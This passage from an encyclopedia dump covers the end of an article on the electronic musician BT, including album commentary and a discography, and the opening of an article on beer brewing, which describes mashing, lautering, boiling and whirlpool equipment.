BT's third album, ''[[Movement in Still Life]]'', moved into less experimental music and was somewhat worrying to some fans on the artist's message boards. The strong hip-hop influence on ''Madskillz-Mic Chekka'' and ''Love on Haight Street'' was the cause of this worry as hip-hop and trance are essentially complete opposites in style. ''Smartbomb'' provided the missing link between BT's previous work and this new rap-inflused work, as it bore a strong resemblance to ''Solar Plexus Part 1'' and included a lyric sample from ''Love on Haight Street''. The album hits a spectrum of genre-work. ''Shame'', ''Satellite'', and ''Running Down the Way Up'' lean towards the alt-rock, while ''Godspeed'' and ''Dreaming'' fall into classic trance ranks. ''Never Gonna Come Back Down'' was the most popular single from the album, and appeared on the ''[[Gone in 60 Seconds]]'' soundtrack in radio edited form. ''Mercury and Solace'', while failing to achieve the commercial success of ''Never Gonna Come Back Down'', is the most commercially remixed song from the album (http://folk.uio.no/ulfb/odd/btdisc.htm).

''[[Emotional Technology]]'' succeeded in being BT's most experimental album, to the great relief of fans. While the album opens with the hip-hop infused ''Knowledge of Self'', the rest of the album features hooking riffs with an almost excessive amount of electronic accent. ''Superfabulous'' (featuring vocals by [[Rose McGowan]]) is the least of the songs in that respect, and yet it breaks in the middle of the song for a brief spoken word conversation about Rose flipping off someone at the Geddy museum. The big single from the album, ''[[Somnambulist]]'', draws heavily from the breakbeats and new wave dance of [[New Order]] and [[Depeche Mode]], whom BT has cited as major influences. The rest of the album fairly escapes genre labeling, from the dark guitar work of ''Circles'', to ''The Only Constant is Change'' which is reminiscent of ''Satellite'', the album blends genres, changes genres in mid-track, and never fears the atonal.

It is difficult to talk about BT's film scores in the context of his music's progress because each draws heavy influence from the film itself. What can be said is that after ''[[The Fast and the Furious (2001 film)|The Fast and the Furious]]'', BT recieved several offers to score for similar movies and turned them down, opting to work on a variety of film styles.

He is currently recording a new album in Australia and Los Angeles, due for a mid-to-late 2006 release.

==Discography==

===Singles===
* &quot;Moment of Truth&quot; (1993)
* &quot;Relativity&quot; (1993)
* &quot;Embracing the Sunshine&quot;
* &quot;Loving You More&quot; featuring Vincent Covello (1995)
* &quot;Blue Skies&quot; featuring [[Tori Amos]] (1996)
* &quot;Divinity&quot; (1996)
* &quot;Quark&quot; (1997)
* &quot;[[Flaming June]]&quot; (1997)
* &quot;Love, Peace &amp; Grease&quot; (1997)
* &quot;Remember&quot; (1997)
* &quot;Shineaway&quot; (1997)
* &quot;Believer&quot; (1999)
* &quot;Godspeed&quot; (1998)
* &quot;Mercury and Solace&quot; (1999)
* &quot;Fibonacci Sequence&quot; (2000)
* &quot;Never Gonna Come Back Down&quot; featuring [[Mike Doughty|M. Doughty]] (2000)
* &quot;Dreaming&quot; (2000)
* &quot;Shame&quot; (2001)
* &quot;Somnambulist (Simply Being Loved)&quot; (2003) #98 US

===Albums===
* ''[[Ima]]'' (1996)
* ''[[ESCM]]'' (1997)
* ''[[Movement in Still Life]]'' (1999)
* ''[[Emotional Technology]]'' (2003)
* ''[[Monster - Music From and Inspired by the Film]]'' (2004)
*   ''[[Stealth - Original Motion Picture Score]]''  (2005)
* ''[[Surveillance - Score]]'' (2006)

===[[Extended play|EPs]]===
* ''[[The Technology EP]]'' (2004)

===Compilations===
* ''R&amp;R (Rare &amp; Remixed)'' (2001) - A collection of BT's remix work.
* ''Still Life In Motion'' (2001)
* ''10 Years In the Life'' (2002) - &quot;Best of&quot; album.

===Remixes===
* B-Tribe, &quot;Nanita (A Spanish Lullaby)&quot; (1995)
* Shiva, &quot;Freedom&quot; (1995)
* [[Diana Ross]], &quot;Take Me Higher&quot; (1995)
* Cabana, &quot;Bailando Con Lobos&quot; (1995)
* Grace, &quot;Not Over Yet&quot; (1995)
* Wild Colour, &quot;Dreams&quot; (1995)
* [[Mike Oldfield]], &quot;Let There Be Light&quot; (1995)
* [[Billie Ray Martin]], &quot;Running Around Town&quot; (1995)
* [[Seal (musician)|Seal]], &quot;I'm Alive&quot; (1995)
* [[Gipsy Kings]], &quot;La Rumba De Nicolas&quot; (1996)
* [[Billie Ray Martin]], &quot;Space Oasis&quot; (1996)
* [[Tori Amos]], &quot;Talula&quot; (1996)
* [[Tori Amos]], &quot;Putting the Damage On&quot; (1997 - Unreleased)
* Dina Carroll, &quot;Run To You&quot; (1997)
* [[The Crystal Method]], &quot;Keep Hope Alive&quot; (1997)
* [[Paul Van Dyk]], &quot;Forbidden Fruit&quot; (1997)
* [[Deep Dish]], &quot;Stranded&quot; (1997)
* [[Madonna (entertainer)|Madonna]], &quot;Drowned World/Substitute For Love&quot; (1998)
* [[Lenny Kravitz]], &quot;If You Can't Say No&quot; (1998)
* [[DJ Rap]], &quot;Bad Girl&quot; (1998)
* [[Depeche Mode]], &quot;It's No Good&quot; (1998 - Unreleased)
* [[Sarah McLachlan]], &quot;I Love You&quot; (1999)
* [[Tom Jones (singer)|Tom Jones]], &quot;She's A Lady&quot; (2000)
* [[Sarah McLachlan]], &quot;Hold On&quot; (2001)
* [[Korn|KoЯn]], &quot;Here to Stay&quot; (2002)
* [[The Doors]], &quot;Break on Through (To the Other Side)&quot; (2004) w/ additional production by Burufunk and Carmen Rizzo

===Film appearances &amp; scores===

* ''[[The Jackal]]'' (1997) - &quot;Shineaway&quot; (with Richard Butler)
* ''[[Go (1999)|Go]]'' (1999) - Complete score, &quot;Believer&quot;
* ''[[Under Suspicion]]'' (2000) - Complete score
* ''[[Gone in Sixty Seconds (2000 movie)|Gone in Sixty Seconds]]'' (2000) - &quot;Down&quot;
* ''Driven'' (2001) - Score, &quot;Satellite&quot;
* &quot;[[Double Take]]&quot; (2001) - &quot;Movement In Still Life&quot;
* ''[[Lara Croft: Tomb Raider]]'' (2001) - &quot;The Revolution&quot;
* ''[[The Fast and the Furious (2001 movie)|The Fast and the Furious]]'' (2001) - Complete score, &quot;Nocturnal Transmission&quot;
* ''[[American Pie 2]]'' (2001) - &quot;Anomaly-Calling Your Name&quot; (''Libra Presents Taylor'')
* ''[[Zoolander]]'' (2001) - (removed his name, uncredited), &quot;Madskillz-Mic Chekka (Remix)&quot;
* ''[[Sweet November]]'' (2001) - &quot;Shame (Ben Grosse Remix)&quot;
* ''[[Blade 2]]'' (2002) - &quot;Tao Of The Machine&quot; (with [[The Roots]])
* ''[[The Core]]'' (2003) - &quot;Sunblind&quot;
* ''[[Monster (movie)|Monster]]'' (2003) - Complete score
* ''[[Win a Date with Tad Hamilton!]]'' (2004) - &quot;Superfabulous (Scott Humphrey Radio Mix)&quot;
* ''[[The Underclassman (2005 movie)|The Underclassman]]'' (2005) - Complete score
* ''[[Stealth (film)|Stealth]]'' (2005) - Complete score, &quot;She Can (Do That)&quot; (with [[David Bowie]])
* ''[[Domino]]'' (2005) - &quot;Paris&quot;
* ''[[Surveillance]]'' (2006) - Complete score

===Video game appearances &amp; scores===

* ''Die Hard Trilogy 2: Viva Las Vegas'' (1999) - Complete score
* ''[[Frequency (game)|Frequency]]'' (2001) - &quot;Smartbomb&quot;
* ''[[SSX|SSX Tricky]]'' (2001) - &quot;Smartbomb (Plump's Vocal Mix)&quot;
* ''[[Gran Turismo (game)|Gran Turismo 3: A-Spec]]'' (2001) - &quot;Madskillz-Mic Chekka&quot;
* ''[[Wipeout Fusion]]'' (2002) - &quot;Smartbomb (Plump DJs Remix)&quot;
* ''ATV Offroad Fury 2'' (2002) - &quot;The Revolution&quot;
* ''[[Wreckless: The Yakuza Missions]]'' (2002) - Complete score
* ''[[Need for Speed: Underground]]'' (2003) - &quot;Kimosabe&quot; (with [[Wildchild (musician)|Wildchild]])
* ''[[Need for Speed: Most Wanted]]'' (2005) - &quot;Tao of the Machine (Scott Humprhey's Remix)
&quot; (with [[The Roots (musician)|The Roots]])
* ''[[Amplitude (game)|Amplitude]]'' (2003) - &quot;Kimosabe&quot; (with [[Wildchild (musician)|Wildchild]])
* ''[[Dance Dance Revolution Extreme]]'' (2004) - &quot;Simply Being Loved (Somnambulist)&quot;
* ''[[Tiger Woods PGA Tour|Tiger Woods PGA Tour 2005]]'' (2004) - Complete score
* Extreme Gravity Racing Accociation (XGRA) - &quot;Dreaming&quot;, &quot;Godspeed&quot;, and many more.
* Burnout: Revenge (2005) - The Doors - &quot;Break On Through (BT Mix)&quot;

===Sample CDs===
* ''Breakz from the Nu Skool'' (2002)
* ''Twisted Textures'' (2002)

==See also==
*[[List of Number 1 Dance Hits (United States)]]
*[[List of artists who reached number one on the US Dance chart]]

==External links==
*[http://www.btmusic.com/ BT's official website]
*[http://folk.uio.no/ulfb/odd/bt.htm Electric Sky Church Music: Full BT Discography]
*[http://www.imdb.com/name/nm0117741/ BT] at the [[Internet Movie Database]]
*[http://www.last.fm/music/BT BT] at [[Last.fm]]
*[http://blog.myspace.com/mrbt BT's Blog] at [[myspace]]

__NOTOC__
[[Category:1971 births|Transeau, Brian]]
[[Category:Living people|Transeau, Brian]]
[[Category:Berklee College of Music alumni|Transeau, Brian]]
[[Category:Club DJs|Transeau, Brian]]
[[Category:College dropouts|Transeau, Brian]]
[[Category:Dance Top 40 acts in United States|Transeau, Brian]]
[[Category:Electronic musicians|Transeau, Brian]]
[[Category:Remixers|Transeau, Brian]]
[[Category:Trance musicians|Transeau, Brian]]

[[cs:BT (hudebník)]]
[[sl:Brian Transeau]]
[[de:Brian Transeau]]&lt;/ref&gt;</text>
    </revision>
  </page>
  <page>
    <title>Brewing</title>
    <id>4410</id>
    <revision>
      <id>41494465</id>
      <timestamp>2006-02-27T19:17:40Z</timestamp>
      <contributor>
        <username>Gene Nygaard</username>
        <id>146986</id>
      </contributor>
      <comment>add degree signs, conversion, header capitalization</comment>
      <text xml:space="preserve">[[Image:The Brewer designed and engraved in the Sixteenth. Century by J Amman.png|right|thumb|360 px|The Brewer, designed and engraved, in the Sixteenth. Century, by J. Amman.]]
:''This article concerns the production of alcoholic beverages.  For other uses, including cookery, see [[brewing (disambiguation)]].''

'''Brewing''' is the production of [[alcoholic beverage]]s and [[alcohol fuel]] through [[fermentation]]. This is the method used in [[beer]] production, although the term can be used for other drinks such as [[sake]], [[mead]] and [[wine]]. The term is also sometimes used to refer to any chemical mixing process.

Brewing has a very long history, and archeological evidence tells us that this technique was used in [[History of Egypt|ancient Egypt]]. Descriptions of various beer [[recipe]]s can be found in [[Sumerian]] writings, some of the oldest known writing of any sort.

The [[brewing industry]] is part of most western economies.

== Brewing beer ==
All beers  are brewed using a process based on a simple formula. Key to the process is [[malt]]ed [[cereal|grain]], traditionally [[barley]], but often also [[wheat]] and, less commonly [[rye]]. (When malting rye, due care must be taken to prevent [[ergot]] poisoning ([[ergotism]]), as rye is particularly prone to developing this toxic fungus during the malting process.)

[[malt|Malt]] is made by allowing a grain to [[germination|germinate]], after which it is then dried in a [[kiln]] and sometimes roasted.  The germination process creates a number of [[enzymes]], notably &amp;alpha;-amylase and &amp;beta;-amylase, which will be used to convert the starch in the grain into sugar.  Depending on the amount of roasting, the malt will take on dark colour and strongly influence the colour and flavour of the beer.

The malt is crushed to break apart the grain kernels, increase their surface area, and separate the smaller pieces from the husks.  The resulting '''grist''' is mixed with heated [[water]] in a [[vat]] called a &quot;mash tun&quot; for a process known as &quot;mashing&quot;. During this process, natural [[enzyme]]s within the malt break down much of the [[starch]] into [[sugar]]s which play a vital part in the [[fermentation]] process. Mashing usually takes 1 to 2 hours, and during this time various [[temperature]] rests (waiting periods) activate different enzymes depending upon the type of malt being used, its modification level, and the desires of the [[brewmaster]].  The activity of these enzymes convert the starches of the grains to [[dextrines]] and then to fermentable sugars such as [[maltose]].  The Mash Tun generally contains a slotted &quot;false bottom&quot; or other form of manifold which acts as a strainer allowing for the separation of the liquid from the grain.  

A mash rest at 104 °F or 40 °C activates beta-[[glucanase]], which breaks down gummy beta-glucans in the mash, making the sugars flow out more freely later in the process. In the modern mashing process commercial fungal based beta-glucanase may be added as a supplement. A mash rest from 120 °F to 130 °F (49 °C to 55 °C) activates various [[proteinase]]s, which break down proteins that might otherwise cause the beer to be hazy.  But care is of the essence since the head on beer is also composed primarily of proteins, so too aggressive a protein rest can result in a beer that cannot hold a head.  This rest is generally used only with undermodified (i.e. undermalted) malts which are decreasingly popular in [[Germany]] and the [[Czech Republic]], or non-malted grains such as [[maize|corn]] and [[rice]], which are widely used in North American beers.  Finally, a mash rest temperature of 149 to 160 °F (65 to 71 °C) is used to convert the starches in the malt to sugar, which is then usable by the yeast later in the brewing process.  Doing the latter rest at the lower end of the range produces more low-order sugars which are more fermentable by the [[yeast]].  This in turn creates a beer lower in body and higher in [[ethanol|alcohol]].  A rest closer to the higher end of the range creates more higher-order sugars which are less fermentable by the yeast, so a fuller-bodied beer with less alcohol is the result.  

After the mashing, the resulting [[liquid]] is strained from the grains in a process known as [[Lautering|lautering]]. Prior to lautering, the mash temperature may be raised to 165 °F to 170 °F (about 75 °C) (known as a ''mashout'') to deactivate enzymes. Additional water may be sprinkled on the grains to extract additional sugars (a process known as [[Sparging|sparging]]). 

At this point the liquid is known as '''wort''' (rhymes with hurt).  The wort is moved into a large tank known as a &quot;copper&quot; or [[kettle]] where it is boiled with [[hops]] and sometimes other ingredients such as [[herbs]] or sugars.  The boiling process serves to terminate enzymatic processes, [[precipitation|precipitate]] proteins, [[isomerization|isomerize]] hop [[resin]]s, concentrate and [[sterilization (microbiology) |sterilize]] the wort.  Hops add flavour, [[odor|aroma]] and [[Bitter (taste)|bitterness]] to the beer. At the end of the boil, the hopped wort settles to clarify it in a vessel called a &quot;whirl-pool&quot; and the clarified wort is then cooled. 

The wort is then moved into a &quot;fermentation vessel&quot; where [[yeast]] is added or &quot;pitched&quot; with it.  The yeast converts the sugars from the malt into alcohol, [[carbon dioxide]] and other components through a process called ''[[Glycolysis]]''.  After a week to three weeks, the fresh (or &quot;green&quot;) beer is run off into [[conditioning tank]]s.  After conditioning for a week to several months, the beer is often filtered to remove yeast and particulates.  The &quot;bright beer&quot; is then ready for serving or packaging.

There are four main families of beer styles determined by the variety of yeast used in their brewing.

===Ale (top fermenting yeasts)===
[[Ale]] yeasts ferment at warmer temperatures between 15&amp;deg;C and 20&amp;deg;C (60&amp;deg;F to 68&amp;deg;F), and occasionally as high as 24&amp;deg;C (75&amp;deg;F).  Pure ale yeasts form a foam on the surface of the fermenting beer, because of this they are often referred to as Top Fermenting yeast - though there are some British ale yeast strains that settle at the bottom.  Ales are generally ready to drink within three weeks after the beginning of fermentation, however, some styles benefit from additional aging for several months or years.  Ales range in color from very pale to black opaque.  England is best known for its variety of Ales.

===Lager (bottom fermenting yeasts)===
While the nature of yeast was not fully understood until [[Emil Hansen]] of the [[Carlsberg brewery]] in [[Denmark]] isolated a single yeast cell in the 1800s, brewers in [[Bavaria]] had for centuries been selecting these cold-fermenting Lager yeasts by storing or &quot;Lagern&quot; their beers in cold alpine [[cave]]s.  The process of natural selection meant that the wild yeasts that were most cold tolerant would be the ones that would remain actively fermenting in the beer that was stored in the caves. Some of these Bavarian yeasts were stolen and brought back to the Carlsberg brewery around the time that Hansen did his famous work.

Lager yeast tends to collect at the bottom of the fermenter and is often referred to as Bottom Fermenting yeast.  Lager is fermented at much lower temperatures, around 10&amp;deg;C (50&amp;deg;F), compared to typical ale fermentation temperatures of 18&amp;deg;C (65&amp;deg;F).  It is then stored for 30 days or longer close to the [[freezing]] point.  During the storing or Lagering process, the beer mellows and flavours become smoother.  [[Sulfur]] components developed during fermentation dissipate.  The popularity of lager was a major factor that led to the rapid introduction of [[refrigeration]] in the early 1900s.

Today, lagers represent the vast majority of beers produced, the most famous being a light lager called [[Pilsner]] which originated in [[Pilsen]], [[Czech Republic]] ''(Plze&amp;#328; in [[czech language]])''.  It is a common misconception that all Lagers are light in color but lagers range from very light to black opaque just like Ales.

===Beers of Spontaneous Fermentation (wild yeasts)===
These beers are nowadays primarily only brewed around Brussels, Belgium. They are fermented by means of wild yeast strains that live in a part of the Zenne river which flows through Brussels. These beers are also called [[Lambic]] beers. However with the advent of yeast banks and the [http://www.ncyc.co.uk/ NCYC], brewing these beers, although not through spontaneous fermentation, is possible anywhere.

===Beers of mixed origin (blends of spontaneous fermentation beers and ales or lagers)===
These beers are blends of spontaneous fermentation beers and ales or lagers or they are ales/lagers which are also fermented by wild yeasts.


==The Brewing Process== 
Work in the brewery is typically divided into 7 steps: Mashing, Lautering, Boiling, Fermenting, Conditioning, Filtering, and Filling.

===Mashing===

Mashing is the process of mixing milled grain (typically [[malt]]ed grain) with water, and heating this mixture up with rests at certain temperatures to allow [[enzyme]]s in the malt to break down the [[starch]] in the grain into [[sugar]]s, typically [[maltose]].  

Large breweries usually employ a decoction mash method, in which the thickest part of the mash is boiled to extract more starch from the grain, then returned to the mash to achieve the next rest temperature. These can be classified into one-, two-, and three-step decoctions, depending on how many times part of the mash is drawn off to be boiled. Smaller breweries use infusion mashing, in which the mash is heated directly to go from rest temperature to rest temperature. Some infusion mashes achieve temperature changes by adding hot water, and there are also breweries that do single-step infusion, performing only one rest before lautering. It is important to note that fancy equipment and methods do not guarantee a good beer. Many wonderful beers are produced on inexpensive, bare-bones equipment, and some bad beers are produced in breweries that are state-of-the-art.

In large breweries, in which optimal utilization of the brewery equipment is economically necessary, there is at least one dedicated vessel for mashing. In decoction processes there must be at least two. The vessel has a good stirring mechanism to keep the temperature of the mash uniform, and a heating device which is efficient, but will not scorch the malt, and should be [[thermal insulation|insulated]] to maintain rest temperatures for up to one hour. A spray ball for clean-in-place (CIP) operation should also be included for periodical deep cleaning. Sanitation is not a major concern before wort boiling, so a rinse-down should be all that is necessary between batches.

Smaller breweries often use the boil kettle for mashing, or use the lauter tun. The latter case either limits the brewer to single-step infusion mashing, or leaves the brewer with a lauter tun which is not completely appropriate for the lautering process.

====Grain milling====

The grain used for making beer must first be [[milling|milled]]. Milling increases the surface area of the grain, making the starch more accessible, and separates the seed from the [[husk]]. Care must be taken when milling to ensure that the starch reserves are sufficiently milled without damaging the husk and providing coarse enough grits that a good filter bed can be formed during lautering.

Grains are typically dry milled. Dry mills come in four varieties: two-, four-, five-, and six-roller mills. Hammer mills, which produce a very fine mash, are often used when mash filters are going to be employed in the Lautering process because the grain does not have to form its own filterbed. In modern plants, the grain is often conditioned with water before it is milled to make the husk more pliable, thus reducing breakage and improving lauter speed.

=====Two-roller mills=====
Two-roller mills are the simplest variety, in which the grain is crushed between two rollers before it continues on to the mash tun.  The spacing between these two rollers can be adjusted by the operator.  Thinner spacing usually leads to better extraction, but breaks more husk and leads to a longer lauter.

=====Four-roller mills=====
Four-roller mills have two sets of rollers.  The grain first goes through rollers with a rather wide gap, which separates the seed from the husk without much damage to the husk, but leaves large grits.    Flour is sieved out of the cracked grain, and then the coarse grist and husks are sent through the second set of rollers, which further crush the grist without damaging the crusts.  There are three-roller mills, in which one of the rollers is used twice, but they are not recognized by the German brewing industry.

=====Five- and Six-roller mills=====
Six-roller mills have three sets of rollers. The first roller crushes the whole kernel, and its output is divided three ways: flour immediately is sent out the mill, grits without a husk proceed to the last roller, and husk, possibly still containing parts of the seed, go to the second set of rollers.  From the second roller flour is directly output, as are husks and any possible seed still in them, and the husk-free grits are channeled into the last roller.  Five-roller mills are basically six-roller mills in which one of the rollers performs double-duty.

====Mashing-in====
Mixing of the strike water, water used for mashing in, and milled grist must be done in a such a way as to minimize clumping and oxygen uptake.  Traditionally this was done by first adding water to the mash vessel, and then introducing the grist from the top of the vessel in a thin stream.  This unfortunately led to a lot of oxygen absorption, and loss of flour dust to the surrounding air.  A premasher, which mixes the grist with mash-in temperature water while it is still in the delivery tube, reduces oxygen uptake and prevents dust from being lost.

Mashing in is typically done between 35 &amp;deg;C and 45 &amp;deg;C, but for single-step infusion mashes mashing in must be done between 62 &amp;deg;C and 67 &amp;deg;C for amylases to break down the grain's starch into sugars.  The weight-to-weight ratio of strike water and grain varies from 1:2 for dark beers in single-step infusions to 1:4 or even 1:5, ratios more suitable for light-colored beers and decoction mashing, where much mash water is boiled off.

====Enzymatic rests====
{| border=1 align=right |
|+ &lt;small&gt;Optimal rest temperatures for major mashing enzymes&lt;/small&gt;
! Temp !! Enzyme !! Breaks down 
|-
| 40 &amp;deg;C || &amp;beta;-Glucanase || &amp;beta;-Glucan
|-
| 50 &amp;deg;C || Protease || Protein
|-
| 62 &amp;deg;C || &amp;beta;-Amylase || Starch
|-
| 72 &amp;deg;C || &amp;alpha;-Amylase || Starch
|}
In step-infusion and decoction mashing, the mash is heated to different temperatures, at which specific enzymes work optimally.  The table at right shows displays the optimal temperature for the enzymes brewers most pay attention to, and what material those enzymes break down.  There is some contention in the brewing industry as to just what the optimal temperature is for these enzymes, as it is often very dependent on the [[pH]] of the mash, and its thickness. A thicker mash acts as a buffer for the enzymes. Once a step is passed, the enzymes active in that step are denatured, and become permanently inactive. The time between rests is preferably as short as possible, but if the temperature is raised more than 1 &amp;deg;C per minute, enzymes may be prematurely denatured in the transition layer near heating elements.

=====&amp;beta;-glucanase rest=====

&amp;beta;-glucan is a chain of the [[beta isomer]] of [[glucose]] molecules, and found mainly in the cell walls of plants, and in this context is also known as [[cellulose]]. A &amp;beta;-glucanase rest done at 40 &amp;deg;C is practiced in order to break down cell walls and make starches more available, thus raising the extraction efficiency. Should the brewer let this rest go on too long, it is possible that a large amount of &amp;beta;-glucan will dissolve into the mash, which can lead to a stuck mash on brew day, and cause filtration problems later in beer production.

=====Protease rest=====

[[Protein]] degradation via a protease rest plays many roles: production of free-amino nitrogen (FAN) for yeast nutrition, freeing of small proteins from larger proteins for foam stability in the finished product, and reduction of haze-causing proteins for easier filtration and increased beer clarity. In all-malt beers, the malt already provides enough protein for good head retention, and the brewer needs to worry more about more FAN being produced than the yeast can metabolize, leading to off flavors. The haze causing proteins are also more prevalent in all-malt beers, and the brewer must strike a balance between breaking down these proteins, and limiting FAN production.

=====&amp;beta;-amylase rest=====

Starch is an enormous molecule made up of branching chains of glucose molecules. &amp;beta;-amylase breaks down these chains from the end molecules forming links of two glucose molecules, i.e. [[maltose]]. &amp;beta;-amylase cannot break down the branch points, although some help is found here through low &amp;alpha;-amylase activity and enzymes such as limit dextrinase. The maltose will be the yeast's main food source during fermentation. During this rest starches also cluster together forming visible bodies in the mash. This clustering eases the lautering process.

=====&amp;alpha;-amylase rest=====

The &amp;alpha;-amylase rest is also known as the scarification rest, because during this rest the &amp;alpha;-amylase breaks down the starches from the inside, and starts cutting off links of glucose one to four glucose molecules in length. The longer glucose chains, along with the remaining branched chains, give body and fullness to the beer.  

=====Decoction &quot;rests&quot;=====

In decoction part of the mash is taken out of the mash tun and placed in a cooker, where it is boiled for a predetermined amount of time. This caramelizes some of the sugars, given the beer a deeper flavor and color, and frees more starches from the grain, making for a more efficient extraction from the grains. The portion drawn off for decoction is calculated so that the next rest temperature is reached by simply putting the boiled portion back into the mash tun. Before drawing off for decoction, the mash is allowed to settle a bit, and the thicker part is typically taken out for decoction, as the enzymes have dissolved in the liquid, and the starches to be freed are in the grains, not the liquid. This thick mash is then boiled for around 15 minutes, and returned to the mash tun.

The mash cooker used in decoction should not be allowed to scorch the mash, but maintaining a uniform temperature in the mash is not a priority.

====Mash-out====

After the enzyme rests, the mash is raised to its mash out temperature. This frees up about 2% more starch, and makes the mash less [[viscosity|viscous]], allowing the lauter to process faster. It would be nice to raise the mash to 100 &amp;deg;C for mash out and have a very viscous liquid, but &amp;alpha;-Amylase quickly denatures above 78 &amp;deg;C and any starches extracted above this temperature cannot be broken down and will cause a starch haze in the finished product, or in larger quantities an unpleasantly harsh taste  can evolve. Therefore the mash out temperature rarely exceeds 78 &amp;deg;C.

If the lauter tun is a separate vessel from the mash tun, the mash is transferred to the lauter tun at this time. If the brewery has a combination mash-lauter tun, the agitator is stopped after mash-out temperature is reached and the mash has mixed enough to ensure a uniform temperature.

===Lautering===

Lautering is the separation of the extracts won during mashing from the spent grain. It is achieved in either a [[Lauter tun]], a wide vessel with a false bottom, or a [[mash filter]], a plate-and-frame filter designed for this kind of separation. Lautering has two stages: first wort run-off, during which the extract is separated in an undiluted state from the spent grains, and sparging, in which extract which remains with the grains is rinsed off with hot water.

====Lauter tun====
A lauter tun is the traditional vessel used for separation of the extracted wort.  
While the basic principle of its operation has remained the same since its first use, technological advances have led to better designed lauter tuns capable of quicker and more complete extraction of the sugars from the grain.

The false bottom in a lauter tun has thin (0.7 to 1.1 mm) slits to hold back the solids and allow liquids to pass through.  The solids, not the false bottom, form a filtration medium and hold back small solids, allowing the otherwise cloudy mash to run out of the lauter tun as a clear liquid.   The false bottom of a lauter tun is today made of wedge wire, which can provide a free-flow surface of up to 12% of the bottom of the tun.

The run off tubes should be evenly distributed across the bottom, with one tube servicing about 1 m&amp;sup2; of area.  Typically these tubes have a wide, shallow cone around them to prevent drastic forces from compacting the grain directly above the outlet.  In the past the run-off tubes flowed through swan-neck valves into a wort collection grant.  While visually stunning, this system led to a lot of oxygen uptake.  Such a system has mostly been replaced either by a central wort-collection vessel or the arrangement of outlet ports into concentric zones, with each zone having a ring-shaped collection pipe.  Brewhouses in plain public view, particularly those in [[brewpub]]s, often maintain the swan-neck valves and grant for their visual effect.

A quality lauter tun has rotating rake arms with a central drive unit.  Depending on the size of the lauter tun, there can be between two and six rake arms.  Cutting blades hang from these arms.  The blade is usually wavy and has a plough-like foot.  Each blade has its own path around the tun and the whole rake assembly can be raised and lowered.  Attached to each of these arms is a flap which can be raised and lowered for pushing the spend grains out of the tun.  The brewer, or better yet an automated system, can raise and lower the rake arms depending on the turbidity (cloudiness) of the run-off, and the tightness of the grain bed, as measured by the pressure difference between the top and bottom of the grain bed.

There must be a system for introducing sparge water into the lauter tun.  Most systems have a ring of spray heads that insure an even and gentle introduction of the sparge water.  The watering system should not beat down on the grain bed and form a channel.

Large breweries have self-closing inlets on the bottom of the tun through which the mash is transferred to the lauter tun, and one outlet, also on the bottom of the tun, into which the spent grains fall after lautering is complete.  Craft breweries often have manways on the side of the mash tun for spent grain removal, which then must be helped along to a large extent by the brewer.  

Some small breweries use a combination mash/lauter tun, in which the rake system cannot be implemented because the mixing mechanism for mashing is of higher importance.  The stirring blades can be used as an ersatz rake, but typically they cannot be moved up and down, and would disturb the bed too much were they used deep in the grain bed.

====Mash Filter====

A mash filter is a plate-and-frame filter. The empty frames contain the mash, including the spent grains, and have a capacity of around one [[hectoliter]].  The plates contain a support structure for the filter cloth  The plates, frames, and filter cloths are arranged in a carrier frame like so: frame, cloth, plate, cloth, with plates at each end of the structure.  Newer mash filters have bladders that can press the liquid out of the grains between spargings.  The grain does not act like a filtration medium in a mash filter.

===Boiling===

Boiling the won extracts, called [[wort]], ensures its sterility, and thus prevents a lot of infections. During the boil, hops are added, which contribute their bitter aromas and flavor compounds to the beer, and, along with the heat of the boil, causes proteins in the wort to coagulate and the [[pH]] of the wort to fall. Finally, the vapors produced during the boil volatilize off flavors, including [[dimethyl sulfide]] precursors.  

The boil must be conducted so that is it even and intense. The boil lasts between 60 and 120 minutes, depending on its intensity, the hop addition schedule, and volume of wort the brewer expects to evaporate.

====Boiling equipment====
The simplest boil kettles are direct-fired, with a burner underneath.  These can produce a vigorous and favorable boil, but are also apt to scorch the wort where the flame touches the kettle, causing caramelization and making clean up difficult.

Most breweries use a steam-fired kettle, which uses steam jackets in the kettle to boil the wort.  The steam is delivered under pressure by an external boiler.

State-of-the-art breweries today use many interesting boiling methods, all of which achieve a more intense boiling and a more complete realization of the goals of boiling.

Many breweries have a boiling unit outside of the kettle, sometimes called a calandria, through which wort is pumped. The unit is usually a tall, thin cylinder, with many tubes upwards through it.  These tubes provide an enormous surface area on which vapor bubbles can nucleate, and thus provides for excellent volitization. The total volume of wort is circulated seven to twelve times an hour through this external boiler, insuring that the wort is evenly boiled by the end of the boil.  The wort is then boiled in the kettle at [[atmospheric pressure]], and through careful control the inlets and outlets on the external boiler, an overpressure can be achieve in the external boiler, raising the boiling point a few Celsius degrees. Upon return to the boil kettle, a vigorous vaporization occurs. The higher temperature due to increased vaporization can reduce boil times up to 30%.  External boilers were originally designed to improve performance of kettles which did not provide adequate boiling effect, but have since been adopted by the industry as a sole means of boiling wort.

Modern brewhouses can also be equiped with internal calandria, which requires no pump. It works on basically the same principle as external units, but relies on convection to move wort through the boiler. This can prevent overboiling, as a deflector above the boiler reduces foaming, and also reduces evaporation. Internal calandria are generally difficult to clean.

====Energy recovery====
Boiling wort takes a lot of energy, and it is wasteful to let this energy escape into the atmosphere. The simplest was to recover this energy is with a kettle vapor condenser (German: ''Pfaduko'', from the really long word '''Pfa'''nnen'''du'''nst'''ko'''ndensator). A kettle vapor condenser is often nothing more than a plate heat exchanger.

====Whirlpool====
At the end of the boil, the wort is set into a whirlpool. The so-called teacup effect forces the more dense solids (coagulated proteins, vegetable matter from hops) into a cone in the center of the whirlpool tank.  

In most large breweries, there is a separate tank for whirlpooling. These tanks have a large diameter to encourage settling, a flat bottom, a tangential inlet near the bottom of the whirlpool, and an outlet on the bottom near the outer edge of the whirlpool. A whirlpool should have no internal protrusions that might slow down the rotation of the liquid. The bottom of the whirlpool is often slightly sloped towards the outlet. Newer whirlpools often have &quot;[[Denk ring]]s&quot; suspended in the middle of the whirlpool. These rings are aligned horizontally and have about 75% of the diameter of the whirlpool. The Denk rings prevent the formation of secondary eddies in the whirlpool, encouraging the formation of a cohesive trub cone in the middle of the whirlpool.

Smaller breweries often use the brewkettle as a whirlpool.  

====Wort cooling====
